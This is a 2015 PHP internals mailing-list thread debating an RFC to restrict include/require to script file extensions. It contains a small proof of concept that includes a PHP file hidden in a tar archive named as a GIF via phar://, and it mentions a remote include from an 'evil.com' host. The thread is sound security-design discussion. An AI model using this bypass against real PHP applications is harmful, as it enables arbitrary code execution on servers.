[RFC][VOTE] Introduce script only include/require

Yasuo Ohgaki

11 years ago

Hi Stas,

On Thu, Feb 26, 2015 at 7:06 AM, Yasuo Ohgaki <yohgaki@ohgaki.net> wrote:

> It seems there are misunderstandings about the issue and the protection.
> If you would like to vote "no", please read the RFC carefully.
> If you find fatal reason to reject this RFC, it is about arbitrarily code
> execution
> and file exposure, so please let us know the reason why.
>

I saw you voted "no".
Could you share us the reason behind?

Regards,

--
Yasuo Ohgaki
yohgaki@ohgaki.net

Stas Malyshev

11 years ago

Hi!

> I saw you voted "no".
> Could you share us the reason behind?

I think I did, in my past messages to the list, but maybe I was not
clear. I will repeat in short:

1. I think this RFC does not provide any security improvement, due to
extreme ease with which the measures in this RFC can be circumvented by
the attacker.

2. I think this RFC provides false sense of security for people that
create vulnerable code and lets them think it's OK to have variable
includes without adequate safety, since they are "protected" by these
changes.

3. I think it causes significant BC break which might be warranted in
case it provides major improvement in security, but IMO in the light of
the above it does not provide even minor one.

This is why I vote no and call everybody to do the same.

--
Stas Malyshev
smalyshev@gmail.com

Pádraic Brady

11 years ago

Hi Stanislav,

On 25 February 2015 at 22:46, Stanislav Malyshev <smalyshev@gmail.com> wrote:

> Hi!
>
>> I saw you voted "no".
>> Could you share us the reason behind?
>
> I think I did, in my past messages to the list, but maybe I was not
> clear. I will repeat in short:
>
> 1. I think this RFC does not provide any security improvement, due to
> extreme ease with which the measures in this RFC can be circumvented by
> the attacker.

All of which you demonstrated by ignoring the example provided showing
what it mitigates, and creating your own example where no file
validation was executed. A case that the RFC was in no way designed to
prevent. You basically created a non-existing benefit, proved that the
non-existing benefit did not exist, and that is apparently your
reason.

Surprise. TRUE === TRUE.

I asked you back in a previous response to locate an example for which
the RFC was designed to prevent that would fail. That would have had
significant value to the discussion. I take it you found none.

> 2. I think this RFC provides false sense of security for people that
> create vulnerable code and lets them think it's OK to have variable
> includes without adequate safety, since they are "protected" by these
> changes.

RFC does not claim any such protection. RFC does not, therefore, offer
such protection. RFC will not be documented as offering any such
protection.

But fine, users will magically make false assumptions that need to
stop validating files and fielding variables before they hit include.

> 3. I think it causes significant BC break which might be warranted in
> case it provides major improvement in security, but IMO in the light of

A BC break targeting a major PHP version. Which can be configured
flexibly for those who need it, like Drupal.

As documented in the RFC.

> the above it does not provide even minor one.
>
> This is why I vote no and call everybody to do the same.

You keep ignoring that minor flaw in your claim where it does actually
provide a benefit in blocking PHP bearing JPEGs as one example
mentioned several times.

Is there some sort of meter on Internals where, in the red, there is
an obligation to fill it back up with FUD, logical fallacies and the
occasional fib?

Paddy

--
Pádraic Brady

http://blog.astrumfutura.com
http://www.survivethedeepend.com

Stas Malyshev

11 years ago

Hi!

Padraic, I'm not really interested in another prolonged discussion,
especially where my arguments are ignored or misconstrued and then
dismissed. I have explained my opinion, if somebody has questions about
the substance of my arguments or need me to clarify my points, rather
than flat-out denial of what I am saying, they know where to find me. I
think this RFC is bad. You think it's excellent. I tried to explain my
point to you, judging by your responses, I failed to convey my meaning.
I am probably bad at this, but I'm not going to become better by
repeating the same over and over.
I don't see what else I can do here - if majority of people would agree
with you, we'll have another bad security feature in PHP, and will have
to deal with it for the next decade, just as we had to suffer the safe
mode problems. I hope this will not happen, but I really don't see what
else I can say, provided that what I already said - including
demonstrating trivial workarounds that allow to circumvent this feature
with extreme ease - had no effect.

> Is there some sort of meter on Internals where, in the red, there is
> an obligation to fill it back up with FUD, logical fallacies and the
> occasional fib?

I also would really like for you to stop accusing me of lying. I may be
mistaken, and I am sure I have been many times, but everything I write
here is a product of careful consideration and thought, and aimed at
making PHP better. The next instance you do this, I'm not going to
reply, I'm just going to delete all following communications from you,
from that point, forever. I can handle very spirited technical
disagreement, I'm not new on the internet, but I do not see what use
would be for me to spend my time on being insulted. There are a lot of
more productive uses of my time. If there's no mutual respect here, then
the chance of productive cooperation is nil. I hope we can hold
respectful discussion, even when disagreeing. But if not, then I won't
participate in any other kind.

--
Stas Malyshev
smalyshev@gmail.com

Yasuo Ohgaki

11 years ago

Hi Stas,

On Thu, Feb 26, 2015 at 8:26 AM, Stanislav Malyshev <smalyshev@gmail.com>
wrote:

> Padraic, I'm not really interested in another prolonged discussion,
> especially where my arguments are ignored or misconstrued and then
> dismissed. I have explained my opinion, if somebody has questions about
> the substance of my arguments or need me to clarify my points, rather
> than flat-out denial of what I am saying, they know where to find me. I
> think this RFC is bad. You think it's excellent. I tried to explain my
> point to you, judging by your responses, I failed to convey my meaning.
> I am probably bad at this, but I'm not going to become better by
> repeating the same over and over.
>

I'm not ignoring your discussion at all. That's why I was proposed context
based protection before. It turned out context based detection does not
work well at all with your discussion. So I switched back to original idea
which detects filename extension.

As I stated in the RFC, we have/had so many script/file inclusion
vulnerabilities
in past. F-Secure which is one of antivirus vendor reports image based PHP
script malware is increasing! We can easily find WordPress users who were
installed WebShell by attackers, for example.

What I'm proposing is to introduce effective mitigation (defense in depth)
against
_fatal_ security breach. Your discussion for this RFC does not negate the
protection proposed. IMHO.

If you don't like or don't need the protection, you can easily disable it
while
the protection can protect many programs/users against fatal security
breach.
(I'm not saying the proposal can prevent all kinds of codes/attacks)

I don't think attackers can circumvent the default configuration. If it
can,
please let me know. Please keep in mind that we are discussing for
include/require security.

I hope you realize the benefits of this proposal.

Regards,

--
Yasuo Ohgaki
yohgaki@ohgaki.net

Pádraic Brady

11 years ago

Stanislav,

On 25 February 2015 at 23:26, Stanislav Malyshev <smalyshev@gmail.com> wrote:

> else I can say, provided that what I already said - including
> demonstrating trivial workarounds that allow to circumvent this feature
> with extreme ease - had no effect.

You keep bringing that up. I keep having to correct you that the RFC
does not target your specific example (it's a simple file extension
filter). Then, you bring it up again...continuing to ignore the
examples provided where it could assist in preventing the whole jpeg
EXIF mess in the wild.

Nobody is ignoring your example of an unvalidated PHAR upload. It has
been responded to more than once. The RFC will not prevent
this....because it was never designed to prevent it. It's not even on
its radar screen to meddle with phars.

>> Is there some sort of meter on Internals where, in the red, there is
>> an obligation to fill it back up with FUD, logical fallacies and the
>> occasional fib?
>
> I also would really like for you to stop accusing me of lying. I may be
> mistaken, and I am sure I have been many times, but everything I write
> here is a product of careful consideration and thought, and aimed at
> making PHP better. The next instance you do this, I'm not going to
> reply, I'm just going to delete all following communications from you,
> from that point, forever. I can handle very spirited technical
> disagreement, I'm not new on the internet, but I do not see what use
> would be for me to spend my time on being insulted. There are a lot of
> more productive uses of my time. If there's no mutual respect here, then
> the chance of productive cooperation is nil. I hope we can hold
> respectful discussion, even when disagreeing. But if not, then I won't
> participate in any other kind.

I am more than happy to cooperate and discuss any topic. However, this
goes both ways. If you insist on repeating the same point, after it
has been addressed, over and over again, then cooperation is going to
suffer. Yasuo has demonstrated that the change will prevent a specific
vulnerability in the wild. I would ask you to consider that example,
and then raise any concern you wish as it pertains to that relevant
example which captures the purpose of this RFC very neatly. To say
that there is no benefit is simply not true.

Paddy

--
Pádraic Brady

http://blog.astrumfutura.com
http://www.survivethedeepend.com

Pierre Joye

11 years ago

On Wed, Feb 25, 2015 at 4:40 PM, Pádraic Brady <padraic.brady@gmail.com> wrote:

> Stanislav,
>
> On 25 February 2015 at 23:26, Stanislav Malyshev <smalyshev@gmail.com> wrote:
>> else I can say, provided that what I already said - including
>> demonstrating trivial workarounds that allow to circumvent this feature
>> with extreme ease - had no effect.
>
> You keep bringing that up. I keep having to correct you that the RFC
> does not target your specific example (it's a simple file extension
> filter). Then, you bring it up again...continuing to ignore the
> examples provided where it could assist in preventing the whole jpeg
> EXIF mess in the wild.

I think it won't even prevent that to happen. But this is another long
story to explain why.

I also voted no for pretty much the same root reasons, it is a fake
sense of security. Yes, it may help some basic cases, reducing the
surface of attack but that's all about it. This is why I see it as
another safemode or magic quotes, not from a feature point of view,
but how it tries to solve an actual problem using a very partial and
weak solution. I am also not very interested to enter the debate again
but to state why I voted no. I admire Yasuo in his constant effort to
improve PHP security from an end user point of view and I sadly
disagree with the solution he provides with this RFC.

Cheers,
Pierre

Yasuo Ohgaki

11 years ago

Hi Stas and Padraic,

On Thu, Feb 26, 2015 at 9:40 AM, Pádraic Brady <padraic.brady@gmail.com>
wrote:

> On 25 February 2015 at 23:26, Stanislav Malyshev <smalyshev@gmail.com>
> wrote:
> > else I can say, provided that what I already said - including
> > demonstrating trivial workarounds that allow to circumvent this feature
> > with extreme ease - had no effect.
>
> You keep bringing that up. I keep having to correct you that the RFC
> does not target your specific example (it's a simple file extension
> filter). Then, you bring it up again...continuing to ignore the
> examples provided where it could assist in preventing the whole jpeg
> EXIF mess in the wild.

Custom loader issue is out of this RFC scope.
I can handle this issue in another RFC as I wrote in previous my mail.
So please make decision within this RFC's scope.

Regards,

--
Yasuo Ohgaki
yohgaki@ohgaki.net

Yasuo Ohgaki

11 years ago

Hi Stas,

I think you mean I ignored this. Let's discuss it.

============================================

> They'd need to upload with a matching file type. Instead of any file

Not sure what you mean by that. phar can read tars, etc. AFAIK, can't
it? Also, phar archive has no requirement of being named something.phar,
afaik can be also named cuteponies.gif. E.g., I just did this:

1. Created file chump.php:

<?php

include $argv[1];

This is an idealized vulnerable script.

2. Created file pwnd.php
<?php

echo "pwnd!";

This is an idealized exploit.

3. Put it into an archive:
tar cvzf cuteponies.gif pwnd.php

4. Run this:

php -dallow_url_include=0 chump.php phar://cuteponies.gif/pwnd.php

The output is:

pwnd!

I'm not sure how this measure would protect from such scenario. Am I
missing something here?
============================================

This can be prevented by restricting phar archive name or forbid all
URI name at all. The latter is better choice.

The root cause of this is the way "allow_url_include" is implemented.
"allow_url_include=Off" should disallow any type of URI include in the
first place. As you know, PHP can have custom loaders that use
URI form. Therefore, any kinds of custom loaders can be enabled by
modules. It's a nightmare for security standpoint.

There is design problem obviously. The reason why phar:// is allowed is
that "allow_url_include" is not INI_ALL.

http://php.net/manual/en/filesystem.configuration.php

Script cannot change the setting, therefore special phar:// is needed to
be allowed unconditionally. I would say INI_SYSTEM for allow_url_include
is false sense of security. It introduced security issue like you've
mentioned.

To resolve issues with custom loaders, we need to change the design.
This kind of *design mistake* is better to be fixed anyway.

I don't mind to write another RFC and implement it.

What do you think?

Regards,

--
Yasuo Ohgaki
yohgaki@ohgaki.net

On Thu, Feb 26, 2015 at 8:26 AM, Stanislav Malyshev <smalyshev@gmail.com>
wrote:

Yasuo Ohgaki

11 years ago

Hi Stas,

On Thu, Feb 26, 2015 at 10:48 AM, Yasuo Ohgaki <yohgaki@ohgaki.net> wrote:

> I think you mean I ignored this. Let's discuss it.
>
> ============================================
> > They'd need to upload with a matching file type. Instead of any file
>
> Not sure what you mean by that. phar can read tars, etc. AFAIK, can't
> it? Also, phar archive has no requirement of being named something.phar,
> afaik can be also named cuteponies.gif. E.g., I just did this:
>
> 1. Created file chump.php:
>
> <?php
>
> include $argv[1];
>
> This is an idealized vulnerable script.
>
> 2. Created file pwnd.php
> <?php
>
> echo "pwnd!";
>
> This is an idealized exploit.
>
> 3. Put it into an archive:
> tar cvzf cuteponies.gif pwnd.php
>
> 4. Run this:
>
> php -dallow_url_include=0 chump.php phar://cuteponies.gif/pwnd.php
>
> The output is:
>
> pwnd!
>
> I'm not sure how this measure would protect from such scenario. Am I
> missing something here?
> ============================================
>
> This can be prevented by restricting phar archive name or forbid all
> URI name at all. The latter is better choice.
>
> The root cause of this is the way "allow_url_include" is implemented.
> "allow_url_include=Off" should disallow any type of URI include in the
> first place. As you know, PHP can have custom loaders that use
> URI form. Therefore, any kinds of custom loaders can be enabled by
> modules. It's a nightmare for security standpoint.
>
> There is design problem obviously. The reason why phar:// is allowed is
> that "allow_url_include" is not INI_ALL.
>
> http://php.net/manual/en/filesystem.configuration.php
>
> Script cannot change the setting, therefore special phar:// is needed to
> be allowed unconditionally. I would say INI_SYSTEM for allow_url_include
> is false sense of security. It introduced security issue like you've
> mentioned.
>
> To resolve issues with custom loaders, we need to change the design.
> This kind of *design mistake* is better to be fixed anyway.
>
> I don't mind to write another RFC and implement it.
>
> What do you think?
>

One additional comment on this.

The issue here is the same as safe_mode. It's "caller"and "callee"
responsibility
issue. One of the reason why safe mode design was failed is it made
"callee"
responsibility that making sure safe operation even if there are conditions
to be
secure.

allow_url_include is the same. It made "callee" responsibility to be
secure.
As your example illustrates, it fails.  Defense in depth can fail if it
isn't designed
carefully.

"Caller" must have responsibility when there are conditions to be secure. Or
"callee" must separate entry point/settings to cover all conditions.

Both allow_url_include and safe mode have the same design problem.
These are broken in the first place.

Anyway, although it is related, this is different security issue to be
fixed and
I hope you agree to fix it.

Regards,

--
Yasuo Ohgaki
yohgaki@ohgaki.net

Stas Malyshev

11 years ago

Hi!

> This can be prevented by restricting phar archive name or forbid all
> URI name at all. The latter is better choice.

If by "all uri" you mean all streams, that would be very high burden,
which may break many applications using streams, including phar handling.

> There is design problem obviously. The reason why phar:// is allowed is
> that "allow_url_include" is not INI_ALL.

The reason why phar is allowed is because phar is not a remote stream,
so access to phar is the same as access to local file system, which is
necessary for include anyway. The contents of phar is in the same domain
as contents of local filesystem, that's why no distinction is made.

> Script cannot change the setting, therefore special phar:// is needed to
> be allowed unconditionally. I would say INI_SYSTEM for allow_url_include
> is false sense of security. It introduced security issue like you've
> mentioned.

It doesn't introduce any issues, unless you declare there should be
distinction between files on the filesystem, which is needed to make
your approach useful. But I do not think it's a good security - trying
to allow including user-controlled files securely is IMO a futile task.
The problem should be fixed at the root - by not having such includes
that allow arbitrary filenames injected by user.

--
Stas Malyshev
smalyshev@gmail.com

Pádraic Brady

11 years ago

Hi Yasuo,

On 26 February 2015 at 08:51, Stanislav Malyshev <smalyshev@gmail.com> wrote:

> Hi!
>
>> This can be prevented by restricting phar archive name or forbid all
>> URI name at all. The latter is better choice.
>
> If by "all uri" you mean all streams, that would be very high burden,
> which may break many applications using streams, including phar handling.
>
>> There is design problem obviously. The reason why phar:// is allowed is
>> that "allow_url_include" is not INI_ALL.
>
> The reason why phar is allowed is because phar is not a remote stream,
> so access to phar is the same as access to local file system, which is
> necessary for include anyway. The contents of phar is in the same domain
> as contents of local filesystem, that's why no distinction is made.
>

Agreeing with Stanislav on this one. While it may appear attractive to
limit the phar: protocol, it's a fairly vital extension of the
filesystem that we should be wary of tampering with.

It would probably be more productive to clarify the status of phar:
URLs in the docs for allow_url_include, if only to emphasise that it's
not covered by that setting.

Paddy

--
Pádraic Brady

http://blog.astrumfutura.com
http://www.survivethedeepend.com

Yasuo Ohgaki

11 years ago

Hi Stas,

I'm on the side wishes PHP being more secure.
I think you are on the same side. Let's be productive for the objective :)

On Thu, Feb 26, 2015 at 5:51 PM, Stanislav Malyshev <smalyshev@gmail.com>
wrote:

> > This can be prevented by restricting phar archive name or forbid all
> > URI name at all. The latter is better choice.
>
> If by "all uri" you mean all streams, that would be very high burden,
> which may break many applications using streams, including phar handling.
>

Phar has 2 issues.

1. It uses URI form for script, but allow_url_include is INI_SYSTEM.
2. Phar allows any filename extension including none.

Resolution for these requires BC. We may choose both or one of them.
If there is better idea, we may choose it also.

> > There is design problem obviously. The reason why phar:// is allowed is
> > that "allow_url_include" is not INI_ALL.
>
> The reason why phar is allowed is because phar is not a remote stream,
> so access to phar is the same as access to local file system, which is
> necessary for include anyway. The contents of phar is in the same domain
> as contents of local filesystem, that's why no distinction is made.
>

Local system files are relatively safe, I agree. However, we have many
users intruded by script inclusion attacks. We have to do something
effective.
I think you agree with this basic idea.

Although, your attack example via Phar file includes most forbidden char
"/" in
a filename, I think we are better to have mitigation/protection for phar
files.

The protection proposed here will be effective for require('phar://.. ')
for the
reason that it has forbidden char, but it's not safe enough.

We have to check php://input, zip://, etc more carefully to see if these
can do
bad thing. I'll do that later.

>
> > Script cannot change the setting, therefore special phar:// is needed to
> > be allowed unconditionally. I would say INI_SYSTEM for allow_url_include
> > is false sense of security. It introduced security issue like you've
> > mentioned.
>
> It doesn't introduce any issues, unless you declare there should be
> distinction between files on the filesystem, which is needed to make
> your approach useful. But I do not think it's a good security - trying
> to allow including user-controlled files securely is IMO a futile task.
> The problem should be fixed at the root - by not having such includes
> that allow arbitrary filenames injected by user.

I'm not checking stream wrappers yet, but it seems it's impossible for
users to
detect bad files if "local" stream wrappers are allowed always. Black
listing
almost never work well in this case.


In mean time, why don't we have proposed protection now? Most users
checks ".." and dir separators now. Our subject is "arbitrarily script
execution"
and it can be mitigated by this proposal.

We may add more effective protections/mitigations after research is done.
I volunteer for the task. It will be for PHP 7.1 or 7.2 unless there is
really fatal
issue.

Regards,

--
Yasuo Ohgaki
yohgaki@ohgaki.net

Yasuo Ohgaki

11 years ago

Hi Stas,

On Thu, Feb 26, 2015 at 7:01 PM, Yasuo Ohgaki <yohgaki@ohgaki.net> wrote:

> On Thu, Feb 26, 2015 at 5:51 PM, Stanislav Malyshev <smalyshev@gmail.com>
> wrote:
>
>> > This can be prevented by restricting phar archive name or forbid all
>> > URI name at all. The latter is better choice.
>>
>> If by "all uri" you mean all streams, that would be very high burden,
>> which may break many applications using streams, including phar handling.
>>
>
> Phar has 2 issues.
>
> 1. It uses URI form for script, but allow_url_include is INI_SYSTEM.
> 2. Phar allows any filename extension including none.
>
> Resolution for these requires BC. We may choose both or one of them.
> If there is better idea, we may choose it also.
>

SInce allow_url_include change is very simple one, I've just made new RFC
for it.

https://wiki.php.net/rfc/allow_url_include

If you find any other issue like this that relates to this RFC, please let
me know
I'll put this discussion shortly.

Regards,

--
Yasuo Ohgaki
yohgaki@ohgaki.net

Stas Malyshev

11 years ago

Hi!

> SInce allow_url_include change is very simple one, I've just made new RFC
> for it.
>
> https://wiki.php.net/rfc/allow_url_include
>
> If you find any other issue like this that relates to this RFC, please
> let me know
> I'll put this discussion shortly.

I'm not sure what this RFC is trying to achieve. I.e. why make it
INI_ALL? Setting it to off instantly allows remote includes, etc. so if
you are at all worried about vulnerable includes, you'd never tell
anybody to enable it (there can be rare cases where you want to enable
it, but really if you know what you're doing - that's why the level is
so high, supposedly if you have access to SYSTEM, you run the server so
you're supposed to know some stuff about security or at least it's your
own server you're ruining if you don't).

As for the second part - banning all streams from allow_url_include -
that would be pretty huge BC break, as streams are used in many
scenarios where you may need virtual FSs, filters, etc. It is a very
handy tool. Current setting allows you to operate inside your local
security domain while cutting off content that comes from outside of
your domain. Your proposal would give the user the choice of either to
disable streams completely and lose all benefits coming with them - or
allow everything completely, including require
"http://evil.com/inject.php". That's not a good choice to give to the
users.

--
Stas Malyshev
smalyshev@gmail.com

Yasuo Ohgaki

11 years ago

Hi Stas,

Thank you for your reply. I understand your view, yet I thought
it's better to share your view with all of us.

On Thu, Feb 26, 2015 at 7:46 AM, Stanislav Malyshev <smalyshev@gmail.com>
wrote:

> > I saw you voted "no".
> > Could you share us the reason behind?
>
> I think I did, in my past messages to the list, but maybe I was not
> clear. I will repeat in short:
>
> 1. I think this RFC does not provide any security improvement, due to
> extreme ease with which the measures in this RFC can be circumvented by
> the attacker.
>

It's secure by default. This RFC protects programs even with most obvious
mistakes like include($_GET['var']);. Since this RFC is simple, there is no
space is left being circumvented by attackers.

2. I think this RFC provides false sense of security for people that

> create vulnerable code and lets them think it's OK to have variable
> includes without adequate safety, since they are "protected" by these
> changes.
>

This is not true. No security standards/guidelines discourage input
validations
regardless of protections existence. We already have NULL byte prevention
and
URI restriction for include/require, these mitigations neither promote
false sense
of security as all of these are "defense in depth".

Besides, the protection can be disabled easily. Smart developers will never
rely on it.

3. I think it causes significant BC break which might be warranted in

> case it provides major improvement in security, but IMO in the light of
> the above it does not provide even minor one.
>

BC is minor. Users can disable protections in various ways while
vulnerability
addressed by this RFC is the most fatal vulnerability. (Arbitrarily code
execution
is the most fatal)

This is why I vote no and call everybody to do the same.


We have simple and effective counter measure proposal against fatal
security breach.
Your reasons are not fatal reason to reject this. It could be hardly a
logical choice. IMHO.

Regards,

--
Yasuo Ohgaki
yohgaki@ohgaki.net

Jordi Boggiano

11 years ago

On 25/02/2015 22:46, Stanislav Malyshev wrote:

> 2. I think this RFC provides false sense of security for people that
> create vulnerable code and lets them think it's OK to have variable
> includes without adequate safety, since they are "protected" by these
> changes.

People that are clueless already do not validate anything and are *NOT*
protected by this RFC. People that know what they are doing probably do
not need this patch. So the way I see it it's a win for random crappy
code out there, and a noop at worst for the others.

> 3. I think it causes significant BC break which might be warranted in
> case it provides major improvement in security, but IMO in the light of
> the above it does not provide even minor one.

A way to mitigate this might be to change the default to include a few
more common extensions like phtml, inc, or whatever. As those are all
commonly associated with PHP and offer no good reason to be allowed in
user uploads, I guess it's safe.

Cheers

--
Jordi Boggiano
@seldaek - http://nelm.io/jordi

Pádraic Brady

11 years ago

Hi Jordi,

On 25 February 2015 at 23:09, Jordi Boggiano <j.boggiano@seld.be> wrote:

> On 25/02/2015 22:46, Stanislav Malyshev wrote:
>>
>> 2. I think this RFC provides false sense of security for people that
>> create vulnerable code and lets them think it's OK to have variable
>> includes without adequate safety, since they are "protected" by these
>> changes.
>
> People that are clueless already do not validate anything and are *NOT*
> protected by this RFC. People that know what they are doing probably do not
> need this patch. So the way I see it it's a win for random crappy code out
> there, and a noop at worst for the others.

Not so. From a defense in depth perpsective (perhaps the programmer in
the next seat is error prone), I'd expect it to be enabled anyway. You
lose nothing by using it.

>> 3. I think it causes significant BC break which might be warranted in
>> case it provides major improvement in security, but IMO in the light of
>> the above it does not provide even minor one.
>
> A way to mitigate this might be to change the default to include a few more
> common extensions like phtml, inc, or whatever. As those are all commonly
> associated with PHP and offer no good reason to be allowed in user uploads,
> I guess it's safe.

No objections here for common extensions well established as being
intentionally PHP bearing files.

Paddy

--
Pádraic Brady

http://blog.astrumfutura.com
http://www.survivethedeepend.com

Jan Ehrhardt

11 years ago

Jordi Boggiano in php.internals (Wed, 25 Feb 2015 23:09:40 +0000):

>On 25/02/2015 22:46, Stanislav Malyshev wrote:
>> 2. I think this RFC provides false sense of security for people that
>> create vulnerable code and lets them think it's OK to have variable
>> includes without adequate safety, since they are "protected" by these
>> changes.
>
>People that are clueless already do not validate anything and are *NOT*
>protected by this RFC. People that know what they are doing probably do
>not need this patch. So the way I see it it's a win for random crappy
>code out there, and a noop at worst for the others.
>
>> 3. I think it causes significant BC break which might be warranted in
>> case it provides major improvement in security, but IMO in the light of
>> the above it does not provide even minor one.
>
>A way to mitigate this might be to change the default to include a few
>more common extensions like phtml, inc, or whatever. As those are all
>commonly associated with PHP and offer no good reason to be allowed in
>user uploads, I guess it's safe.

Better yet: allow all by default. Then there is no BC break and nothing
changes for clueless people. People with clue can make their own choice
to use or not to use.

Jan

Yasuo Ohgaki

11 years ago

Hi Jan,

On Thu, Feb 26, 2015 at 8:30 AM, Jan Ehrhardt <phpdev@ehrhardt.nl> wrote:

> Jordi Boggiano in php.internals (Wed, 25 Feb 2015 23:09:40 +0000):
> >On 25/02/2015 22:46, Stanislav Malyshev wrote:
> >> 2. I think this RFC provides false sense of security for people that
> >> create vulnerable code and lets them think it's OK to have variable
> >> includes without adequate safety, since they are "protected" by these
> >> changes.
> >
> >People that are clueless already do not validate anything and are *NOT*
> >protected by this RFC. People that know what they are doing probably do
> >not need this patch. So the way I see it it's a win for random crappy
> >code out there, and a noop at worst for the others.
> >
> >> 3. I think it causes significant BC break which might be warranted in
> >> case it provides major improvement in security, but IMO in the light of
> >> the above it does not provide even minor one.
> >
> >A way to mitigate this might be to change the default to include a few
> >more common extensions like phtml, inc, or whatever. As those are all
> >commonly associated with PHP and offer no good reason to be allowed in
> >user uploads, I guess it's safe.
>
> Better yet: allow all by default. Then there is no BC break and nothing
> changes for clueless people. People with clue can make their own choice
> to use or not to use.
>

Providing "secure default" is our responsibility, especially for fatal
security breach. IMHO. We've done that for allow_url_include, for example.
I hoped allow_url_include and NULL byte prevention could eliminate script
inclusions, but it didn't.

This RFC is more powerful than allow_url_include/NULL byte protection. In
fact, it makes PHP programs as safe as other languages with respect to
script inclusions when consistent configuration is used.

The feature can be disabled by users easily. The feature warns users
possible security breaches. I don't see reasons disabling the feature
by default.

Regards,

--
Yasuo Ohgaki
yohgaki@ohgaki.net

Matteo Beccati

11 years ago

Hi Yasuo,

I have voted no, as I believe too that the change will give a false
sense of security.

In my past experience, numerous exploited applications I've seen had php
scripts (php-shells or just outputting malicious code) dropped to the
file system and most of the times the extension was ".php".


Cheers

On 25/02/2015 23:06, Yasuo Ohgaki wrote:

> Hi all,
>
> Vote for script only include/require RFC is started.
> This RFC closes one of the fatal security hole in PHP programs with
> simple patch.
>
> https://wiki.php.net/rfc/script_only_include
> https://github.com/php/php-src/pull/1111
> Vote ends 2015/3/12
>
> It seems there are misunderstandings about the issue and the protection.
> If you would like to vote "no", please read the RFC carefully.
> If you find fatal reason to reject this RFC, it is about arbitrarily code
> execution
> and file exposure, so please let us know the reason why.
>
> If you have question, please ask.
>
> Thank you for voting.
>
> --
> Yasuo Ohgaki
> yohgaki@ohgaki.net
>

--
Matteo Beccati

Development & Consulting - http://www.beccati.com/

Yasuo Ohgaki

11 years ago

Hi all,

On Thu, Feb 26, 2015 at 7:06 AM, Yasuo Ohgaki <yohgaki@ohgaki.net> wrote:

> Vote for script only include/require RFC is started.
> This RFC closes one of the fatal security hole in PHP programs with
> simple patch.
>
> https://wiki.php.net/rfc/script_only_include
> https://github.com/php/php-src/pull/1111
> Vote ends 2015/3/12
>
> It seems there are misunderstandings about the issue and the protection.
> If you would like to vote "no", please read the RFC carefully.
> If you find fatal reason to reject this RFC, it is about arbitrarily code
> execution
> and file exposure, so please let us know the reason why.
>
> If you have question, please ask.
>

I was thinking allow_url_include issue later, but it seems I have to now.
I've written new RFC to address this.

https://wiki.php.net/rfc/allow_url_include

I'll start discussion shortly. If you have comments, please do so here.
It's related to this RFC also.

Regards,

--
Yasuo Ohgaki
yohgaki@ohgaki.net

Yasuo Ohgaki

11 years ago

Hi all,

On Thu, Feb 26, 2015 at 7:06 AM, Yasuo Ohgaki <yohgaki@ohgaki.net> wrote:

> Vote for script only include/require RFC is started.
> This RFC closes one of the fatal security hole in PHP programs with
> simple patch.
>
> https://wiki.php.net/rfc/script_only_include
> https://github.com/php/php-src/pull/1111
> Vote ends 2015/3/12
>
> It seems there are misunderstandings about the issue and the protection.
> If you would like to vote "no", please read the RFC carefully.
> If you find fatal reason to reject this RFC, it is about arbitrarily code
> execution
> and file exposure, so please let us know the reason why.
>
> If you have question, please ask.
>

It seems I had better to address stream wrapper issues at the same time
even though it's big enough issue.

I'll merge https://wiki.php.net/rfc/allow_url_include into this RFC and make
this RFC "Under Discussion" state.

For those who have voted already, please vote again when RFC is ready to
vote again.

Thank you.

--
Yasuo Ohgaki
yohgaki@ohgaki.net